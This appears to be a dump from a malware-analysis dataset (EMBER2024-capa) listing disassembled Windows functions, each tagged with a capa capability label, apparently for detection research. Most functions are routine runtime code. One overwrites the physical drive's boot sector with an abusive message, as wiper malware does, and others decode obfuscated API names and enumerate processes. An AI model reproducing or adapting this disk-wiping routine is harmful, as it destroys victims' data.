joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000dc74
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000dca4
xor eax, eax
jmp 0x18000dd67
mov rbp, rbx
cmp word [rax], si
je 0x18000dcc9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000dcb0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000dcac
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000db94
movsxd r14, eax
test eax, eax
jne 0x18000dd07
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000dc9d
mov rcx, r14
call fcn.18000b3dc
mov rdi, rax
test rax, rax
jne 0x18000dd20
xor ecx, ecx
call fcn.18000b43c
jmp 0x18000dcfc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000db94
test eax, eax
jne 0x18000dd51
mov rcx, rdi
call fcn.18000b43c
jmp 0x18000dd5b
xor ecx, ecx
call fcn.18000b43c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180013530
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180013558
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180013558
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400111fe
Capabilities:
Terminate process

Disassembly:
jmp 0x140013030
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001128a
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014370
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014390
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400143a3
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400143cd
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400143e1
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400143f3
xor al, al
jmp 0x140014411
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001440f
xor al, al
jmp 0x140014411
mov al, 1
add rsp, 0x38
ret
Function at 0x1400010f0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x188
mov rax, qword [0x140023ec0]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rcx, [0x140023e88]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x30], rax
lea rdx, str.CloseHandle
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x140001154
xor eax, eax
jmp 0x1400011b2
mov dword [rsp + 0x40], 0x130
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1400011a7
mov rdx, qword [rsp + 0x190]
lea rcx, [rsp + 0x6c]
call fcn.140005bd0
test eax, eax
jne 0x140001194
mov rcx, qword [rsp + 0x20]
call qword [rsp + 0x28]
mov eax, dword [rsp + 0x48]
jmp 0x1400011b2
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14000116f
mov rcx, qword [rsp + 0x20]
call qword [rsp + 0x28]
xor eax, eax
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140001770
add rsp, 0x188
ret
Function at 0x140002150
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000219a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000219a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000219a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000219a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000219a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000219c
xor al, al
add rsp, 0x28
ret

Function at 0x14000c874
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000c670
Function at 0x140010224
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140010254
xor eax, eax
jmp 0x140010317
mov rbp, rbx
cmp word [rax], si
je 0x140010279
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140010260
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001025c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140010144
movsxd r14, eax
test eax, eax
jne 0x1400102b7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001024d
mov rcx, r14
call fcn.140010e8c
mov rdi, rax
test rax, rax
jne 0x1400102d0
xor ecx, ecx
call fcn.14000e090
jmp 0x1400102ac
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140010144
test eax, eax
jne 0x140010301
mov rcx, rdi
call fcn.14000e090
jmp 0x14001030b
xor ecx, ecx
call fcn.14000e090
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140013560
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000818c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400135ea
cmp byte [rbp - 0x21], r15b
je 0x1400135e5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140013620
call fcn.14001169c
test eax, eax
jne 0x14001360c
cmp byte [rbp - 0x21], r15b
je 0x140013604
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140013620
cmp byte [rbp - 0x21], r15b
je 0x14001361d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000e890
test eax, eax
jne 0x1400136c0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000818c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001365f
cmp byte [rbp - 0x21], r15b
je 0x140013694
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140013694
call fcn.14001169c
test eax, eax
jne 0x140013680
cmp byte [rbp - 0x21], r15b
je 0x140013679
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140013694
cmp byte [rbp - 0x21], r15b
je 0x140013691
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000e890
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400136c0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400136c3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400136d1
mov rcx, rdi
call fcn.14000e090
cmp byte [rbp + 0x3f], r15b
je 0x1400136e0
mov rcx, qword [rbp + 0x27]
call fcn.14000e090
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140016220
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140016248
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140016248
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor edi, edi
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x44], edi
lea rax, str.I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:_I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:_I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:_I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:__I_have_been_told_you.:_I_have_been_told_you.:__Fuck_you_:_
mov dword [rsp + 0x40], edi
lea ecx, [rdi + 3]
nop dword [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001040
mov rcx, qword [rax + 0x70]
xor r9d, r9d
movups xmm0, xmmword [rax]
mov qword [rsp + 0x30], rdi
movups xmm1, xmmword [rax + 0x10]
mov dword [rsp + 0x28], edi
lea r8d, [r9 + 3]
movups xmmword [rdx], xmm0
mov dword [rsp + 0x20], 3
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
movzx ecx, word [rax + 0x7c]
mov word [rdx + 0x7c], cx
movzx ecx, byte [rax + 0x7e]
mov byte [rdx + 0x7e], cl
mov edx, 0xc0000000
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000116c
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
mov r8d, 0x200
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, 0x9001c
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001630
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
Function at 0x140003e90
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003eda
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003eda
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003eda
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003eda
cmp dword [rcx + 0x84], 0xe
jbe 0x140003eda
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003edc
xor al, al
add rsp, 0x28
ret
Function at 0x140004e00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140021010]
xor rax, rsp
mov qword [rbp - 0x10], rax
call fcn.140004360
mov ebx, eax
test eax, eax
je 0x140004f9c
mov byte [rbp - 0x40], 0x37
xor r8d, r8d
mov byte [rbp - 0x3f], 2
mov r9d, r8d
mov byte [rbp - 0x3e], 0x5b
mov byte [rbp - 0x3d], 0x2d
mov byte [rbp - 0x3c], 0x38
mov byte [rbp - 0x3b], 4
mov byte [rbp - 0x3a], 0x65
mov byte [rbp - 0x39], 0x22
mov byte [rbp - 0x38], 0x4d
mov byte [rbp - 0x37], 5
mov byte [rbp - 0x36], 0x69
mov byte [rbp - 0x35], 0x3e
movzx eax, byte [rbp - 0x40]
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [rbp + r9 - 0x40]
movzx ecx, r9b
and cl, 3
mov eax, 3
sub al, cl
movzx ecx, al
mov eax, 0x6711753e
shl cl, 3
shr eax, cl
mov ecx, edx
movzx eax, al
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r9 - 0x40], cl
inc r9
cmp r9, 0xc
jb 0x140004e70
mov byte [rbp - 0x30], 0x16
mov byte [rbp - 0x2f], 0x55
mov byte [rbp - 0x2e], 0x69
mov byte [rbp - 0x2d], 0x5d
mov byte [rbp - 0x2c], 0x3d
mov byte [rbp - 0x2b], 0x55
mov byte [rbp - 0x2a], 0x72
mov byte [rbp - 0x29], 0x5d
mov byte [rbp - 0x28], 0x30
mov byte [rbp - 0x27], 0x55
mov byte [rbp - 0x26], 0x70
mov byte [rbp - 0x25], 0x5d
mov byte [rbp - 0x24], 0x7d
mov byte [rbp - 0x23], 0x55
mov byte [rbp - 0x22], 0x36
mov byte [rbp - 0x21], 0x5d
mov byte [rbp - 0x20], 0x78
mov byte [rbp - 0x1f], 0x55
mov byte [rbp - 0x1e], 0x68
mov byte [rbp - 0x1d], 0x5d
mov byte [rbp - 0x1c], 0x37
mov byte [rbp - 0x1b], 0x55
mov byte [rbp - 0x1a], 0x70
mov byte [rbp - 0x19], 0x5d
mov byte [rbp - 0x18], 0x4a
mov byte [rbp - 0x17], 0x55
movzx eax, byte [rbp - 0x30]
nop dword [rax]
movzx edx, byte [rbp + r8 - 0x30]
movzx ecx, r8b
and cl, 3
mov eax, 3
sub al, cl
movzx ecx, al
mov eax, 0x4a55045d
shl cl, 3
shr eax, cl
mov ecx, edx
movzx eax, al
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x30], cl
inc r8
cmp r8, 0x1a
jb 0x140004f30
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x30]
call fcn.140001ef0
mov r8d, ebx
xor edx, edx
mov ecx, 0x43a
call rax
jmp 0x140004f9e
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400073b0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret
Function at 0x140007180
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140021010]
xor rax, rsp
mov qword [rbp - 8], rax
mov edx, 1
mov ecx, 0x17d78400
call fcn.14000c44c
test rax, rax
je 0x14000737f
mov rcx, rax
mov qword [rsp + 0x80], rbx
call fcn.14000c29c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov byte [rbp - 0x40], 0x39
xor r8d, r8d
mov byte [rbp - 0x3f], 0x78
mov rbx, rax
mov byte [rbp - 0x3e], 0x59
mov r9d, r8d
mov byte [rbp - 0x3d], 0x49
mov byte [rbp - 0x3c], 0x58
mov byte [rbp - 0x3b], 0x70
mov byte [rbp - 0x3a], 0x53
mov byte [rbp - 0x39], 0x16
mov byte [rbp - 0x38], 0x4f
mov byte [rbp - 0x37], 0x7b
mov byte [rbp - 0x36], 0x56
mov byte [rbp - 0x35], 0x38
mov byte [rbp - 0x34], 0x28
mov byte [rbp - 0x33], 8
mov byte [rbp - 0x32], 0x35
mov byte [rbp - 0x31], 0x4a
mov byte [rbp - 0x30], 0x50
mov byte [rbp - 0x2f], 0x70
mov byte [rbp - 0x2e], 0x66
movzx eax, byte [rbp - 0x40]
nop
movzx edx, byte [rbp + r9 - 0x40]
movzx ecx, r9b
and cl, 3
mov eax, 3
sub al, cl
movzx ecx, al
mov eax, 0x620f6654
shl cl, 3
shr eax, cl
mov ecx, edx
movzx eax, al
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r9 - 0x40], cl
inc r9
cmp r9, 0x13
jb 0x140007220
mov byte [rbp - 0x28], 0x77
mov byte [rbp - 0x27], 0x26
mov byte [rbp - 0x26], 0x54
mov byte [rbp - 0x25], 0x3d
mov byte [rbp - 0x24], 0x1f
mov byte [rbp - 0x23], 0x26
mov byte [rbp - 0x22], 0x5d
mov byte [rbp - 0x21], 0x3d
mov byte [rbp - 0x20], 0x12
mov byte [rbp - 0x1f], 0x26
mov byte [rbp - 0x1e], 0x5b
mov byte [rbp - 0x1d], 0x3d
mov byte [rbp - 0x1c], 0x5f
mov byte [rbp - 0x1b], 0x26
mov byte [rbp - 0x1a], 0x21
mov byte [rbp - 0x19], 0x3d
mov byte [rbp - 0x18], 0x5a
mov byte [rbp - 0x17], 0x26
mov byte [rbp - 0x16], 0x53
mov byte [rbp - 0x15], 0x3d
mov byte [rbp - 0x14], 0x19
mov byte [rbp - 0x13], 0x26
mov byte [rbp - 0x12], 0x5b
mov byte [rbp - 0x11], 0x3d
mov byte [rbp - 0x10], 0x2c
mov byte [rbp - 0xf], 0x26
movzx eax, byte [rbp - 0x28]
nop dword [rax]
movzx edx, byte [rbp + r8 - 0x28]
movzx ecx, r8b
and cl, 3
mov eax, 3
sub al, cl
movzx ecx, al
mov eax, 0x2c266e3d
shl cl, 3
shr eax, cl
mov ecx, edx
movzx eax, al
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x28], cl
inc r8
cmp r8, 0x1a
jb 0x1400072e0
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x28]
call fcn.140001ef0
mov r9d, 0x3000
mov dword [rsp + 0x28], 0xff
xor r8d, r8d
mov dword [rsp + 0x20], 0x204
xor edx, edx
mov rcx, rbx
call rax
mov rbx, qword [rsp + 0x80]
test rax, rax
jne 0x14000737f
mov al, 1
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400073b0
add rsp, 0x70
pop rbp
ret
xor al, al
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400073b0
add rsp, 0x70
pop rbp
ret
Function at 0x14000b610
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000b47b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000b47b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000b47b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000b47b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000b47b
cmp dword [rcx + 0x84], 0xe
jbe 0x14000b47b
cmp dword [rcx + 0xf8], 0
je 0x14000b47b
mov ecx, ebx
call fcn.14000b52c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000b308
nop
cmp dword [rbp + 0x20], 0
je 0x14000b4c9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000b4d4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000b40c
Function at 0x140010d30
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140010d60
xor eax, eax
jmp 0x140010e23
mov rbp, rbx
cmp word [rax], si
je 0x140010d85
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140010d6c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140010d68
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140010c50
movsxd r14, eax
test eax, eax
jne 0x140010dc3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140010d59
mov rcx, r14
call fcn.14000e344
mov rdi, rax
test rax, rax
jne 0x140010ddc
xor ecx, ecx
call fcn.14000e308
jmp 0x140010db8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140010c50
test eax, eax
jne 0x140010e0d
mov rcx, rdi
call fcn.14000e308
jmp 0x140010e17
xor ecx, ecx
call fcn.14000e308
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140011474
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a670
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011578
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001b9c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001b9e0
xor al, al
jmp 0x14001ba61
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001b9f3
xor al, al
jmp 0x14001ba61
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001ba1d
xor al, al
jmp 0x14001ba61
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001ba31
xor al, al
jmp 0x14001ba61
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001ba43
xor al, al
jmp 0x14001ba61
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001ba5f
xor al, al
jmp 0x14001ba61
mov al, 1
add rsp, 0x38
ret